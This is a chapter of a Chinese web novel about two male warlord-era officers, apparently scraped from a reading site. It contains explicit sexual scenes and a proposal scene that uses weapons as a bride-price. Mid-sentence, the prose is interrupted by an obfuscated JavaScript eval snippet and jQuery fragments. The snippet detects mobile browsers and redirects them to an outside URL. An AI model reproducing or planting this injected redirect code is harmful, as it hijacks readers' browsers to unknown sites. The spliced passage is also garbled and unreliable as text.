默认冷灰
24号文字
方正启体

26. 第 26 章

作者:君不渝本书字数:K更新时间:
    隋和光扶住李崇,尝试坐进去。


    结果被莫名其妙被翻身,隋和光眼皮一抽搐,低斥:“动什么?你不怕折了!”


    李二眼中有血丝,一眨不眨。


    他回想看到的:光裸的腿根,同隋和光二十岁时几乎没差别,冷冷的白。隋和光态度多干脆,敞开腿,再来握李崇,只像握一把刀,随便就能捅进身体。


    随便谁都可以吗?


    这瞬间连隋和光都不知道李崇在想什么。


    但他看清了李崇的眼睛。曾经二爷以一敌五,差点给人胳膊撕下来时,也是现在这种眼神。


    李崇又逼上来,把隋和光压死到床铺上,隋和光勉强习惯这样被动的姿势,只以为李崇要开始正题了。


    直到察觉身下柔软的触感,他才反应过来,难以置信:李司令、李二爷,在军帐中,俯身半跪,吃男人的……


    李崇退出来,脸上浸透了水。


    他去亲隋和光脚腕,含住凸出的一截内踝骨,忍不住,换齿缘去磨,隋和光只觉得悚然,怀疑自己要被活吞下去似的。


    脚踝被吃得发麻,又痒又疼,隋和光趁这空当缓过来,李崇还咬住踝骨不放。


    隋和光挥开了脚。


    李崇侧头,脚掌就擦着他脸颊过去,隋和光只觉得脚下挂了层冰凉的黏物,反应过来是什么东西,也没时间犯恶心,趁李崇躲闪伺机翻身下床。


    李崇说出床上第二句话:“跑什么?”他问,宁城天燥,你流着水出去,是要给我的兵轮番吃么?


    隋和光不理床上的混话,放柔声音敷衍他:“你不要再乱动,我让你舒服……”


    放任李崇弄下去,他心里发瘆。


    身体骤然悬空。


    李崇出手快得要命,截住隋和光的腰,单臂拎起,扔回床上。


    到后头,李崇脸上全是水,隋和光比李崇还狼狈,整个人湿透了,发丝黏在唇边。


    李崇越看眼神越深,伸手,半空停一瞬,拇指抚开那黏着的头发。


    他凝视这张陌生的脸,又从蛛丝马迹、细微神情中,捕捉到熟悉的灵魂。


    其实从一开始就有答案的——隋和光不会去北平。


    而李崇不能不去北平。


    不说父兄临终前的希冀、嘱托,他是李家这代唯一的男人,剩下的姊妹全在北平,他回去,她们就是李家的小姐,不回去,那就是人质。从踩上直系这一条大船起,李家就没有退路了。


    所以他不能碰隋和光。


    真碰了这人,就走不出宁城了。


    离不开。舍不得。


    隋和光不会知道,二爷脸上水淋淋一通,其实还有很没出息的眼泪。十六岁回国后,兄长和父母亲接连死时,他都没掉过眼泪,结果在床上,吃多了水,反而从眼睛里跑出来了。


    不是因为求不来爱,而是他要为家族的希冀,为李家主的责任,自己放弃去求这爱了。


    趁隋和光身上发软的时机,李崇步出帐外,让人送来两桶热水,先给隋和光仔仔细细擦拭干净、换上新衣,再整理自己身上。


    他给隋和光换的也是西服,红衬衫,和李崇身上的是同一套。


    很合身,明显是按尺寸定制的。


    李二拍掌,军帐掀开。隋和光眼前是一连串马车,各处系着红绸。前方竟然是一抬红轿。


    李崇叹了一声:“该先求婚后洞房,顺序错了,但现在……也无所谓了。”


    *


    宁城某处监狱旧址,隋木莘倚在灰墙边,身后堆着晕厥狱警,旁边站着南方给的兵。


    这是玉霜第四次见他。第一次,隋府互相试探;第二次,城门做慈善,港口的人失手;第三次,还是在府中,彼此对身份心照不宣。


    隋木莘知道玉霜是谁,玉霜也知道隋木莘有南方的势力。


    玉霜说:“你大哥要我找你,现在看,我是不该来了。”


    他问:“你明明能逃,为什么放任自己被抓?”


    是啊,为什么呢?


    隋木莘当真开始思考。


    ——起初我想,他喜欢的东西不多,来一个,陪他一会儿、解下闷也好。所以城外,我没杀李崇。


    ——再然后,我发现李崇算计他,可他不在意。我知道他信李崇是个人物,讲道义。


    李二爷能讲道义,可李长官呢?


    ——最后,我自投罗网,拿一封南方的书信,故意被驻军查出。北平调令下来,我知道李崇不会甘心空手离开,而隋和光永远不会接受威胁和背叛。


    我想让他们彻底的、干净的决裂。


    隋木莘问:“为什么是您来找我?”


    玉霜怔住,旋即笑问:“你觉得是为什么呢三弟?为什么来找你的不是他,为什么我没去和李崇谈判?”


    玉霜冷冷笑开:“你还该问——为什么,你哥比你想的更情深意重?”


    你是他兄弟。你也配做他兄弟?


    “是,我该死。”


    隋木莘语气平淡如死水,眼睛却在流泪,玉霜眼神变了,那眼泪是红色的……血泪。


    隋木莘看清他眼神方向,一抹面颊,才恍然道:“被刀刺了,小伤,不会死。”


    说话间挤动脸颊,又是一滴红泪,下坠——


    红绸落地,一对车马上前,数起来有十多匹。有士兵徒手扛起一箱,落到地上,挑红布撬箱锁。


    哗啦——


    军火如山倾海泄,八抬大轿,抬的全是军火,粗略一数,不下于千支。


    隋和光还坐在床边。李崇半跪下,替他理好西装马甲的纽扣。这一跪下,没有起来。


    李崇这辈子,只跪过父母高堂。老天爷,不跪,佛祖不跪,耶稣更不跪。


    他跪了隋和光。


    “……这什么?”隋和光问。


    李崇说:“隋靖正有私兵,你四弟有军衔,他们都跟你有仇怨,一旦爆发,那唱戏的护不住你——因为他没有兵和枪。我能给你。”


    “我问你,那堆东西是什么意思?”


    “聘礼。”


    “我说过,不会去北平。”


    李崇笑了。“这跟你嫁我有什么矛盾?”


    红头高马前,一队士兵单膝齐跪,高声喊:“长官!”


    李崇笑着往远处吼:“老子迎亲,你们跪什么!”


    领头的大兵木讷,说,我等跪的是夫人——您下过令,只要夫人点头,从此就听他的话!现在新长官没发话,我等不敢起来!


    这里有李师的主力,也有李家的家兵,来见证他们的司令、家主,求娶,成婚。


    天地间唯余风声,呼吸,红绸猎猎。


    李崇再屈膝,是要让隋和光踩着他肩膀上马或上轿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372183|183973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    隋和光难得哑然。


    枪械铺开一地,隋和光抬眼,满目是红,将他拉回十年前某夜——东瀛突袭,为给平民转移的时间,他们守一座空城,守到弹尽粮绝,得到了东瀛增兵的消息。二人下令城中布置炸药,然后开城门。


    炸弹炸第一列时,援军来了。


    红光与血光中,长官们听不见城墙上欢哭,暂时失聪失明,直到意识恢复,触碰到对方的眼睛,都还睁着、眨着……才被拉出死亡的冥静。


    那些年,他们是彼此在人间的坐标。


    隋和光上前一步。


    李崇纹丝不动,直到肩膀被一只手扣住。隋和光沉声说:“李崇,站起来。”


    李崇就明白了。


    但他不站起来,隋和光也不松手,“你是个好男人,别做扭捏的事。”


    “我是个好男人,”李崇的低笑发哑,“那你不嫁?”


    “我也是男人。”


    “就当是我嫁你。”


    “根源不在嫁娶。”李崇不起,隋和光就也半跪下来,与他平视。“你有要护的人,要走的路,我也有。”


    “你不该把根扎在宁城,我也不该把心抛到北平。”


    士兵潮水般退出主帐四周。


    李崇与隋和光躺在黄草地上,多年前,数不清的日夜,他们也像这样埋伏在山林草丛间,等敌人来。


    那时候他们很默契,李崇吹几声口哨,隋和光能听懂往哪个方位去、多久开枪,同样的,隋和光眨几下眼、手指动几下,李崇也知道他要怎样步兵、怎样袭击。


    李崇捡一根草叶,吹了首送别。


    隋和光说:“难听。”


    李崇说:“时间拖够久,你弟也该被救出来了。”


    玉霜离开宴会,现在还没出现,李崇就猜到他的动向。“隋木莘手上南方的信是伪造的,故意等我抓他,不知道什么用意。他做事太邪,你要小心。”


    隋和光一怔,沉默片刻,说:“是我没管教好他。”


    李崇哼笑了声,他其实还怀疑,几月前城外埋伏自己的事隋木莘……但算了。


    今晚提战场杀机,多煞风景。


    李崇只论感情:“八年不见,你爱他胜过爱我,理所当然。”


    “还有你那四弟、隋翊,不是我要提拔他。”李崇知道要走了,把该说的人全说清,“天生杀星,天赋异禀,相当没心肝,那点恨怕是全挂你身上了。”


    李崇有些幸灾乐祸:大少爷啊,你养了些什么玩意儿?


    李崇只有一个大哥在头上,其余全是姐妹,他是被宠大的混世魔王,十二岁被送去欧洲,是求学,也是避难。


    可李崇哪会听话,几年后悄悄回国,李家大哥收到消息,提前在沪城机场截弟弟——北方那时还没通去欧洲的航线。


    南方革命军内斗,机场那天遇上轰炸,李崇没死,大哥护着他,死了。


    李崇从此再没有出国。


    他有过醉生梦死的半年,在百乐门遇上隋和光,这人比他小两岁,居然是家里大哥,李崇很新奇,这一好奇,就栽进去了。


    正说着,脸颊冰凉——半夜来雨。


    半夜山路行军,最怕下雨,容易踏空。李师要么早动身,要么再留一夜。


    但北平急电他三天内赶到前线。


    李崇必须走了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)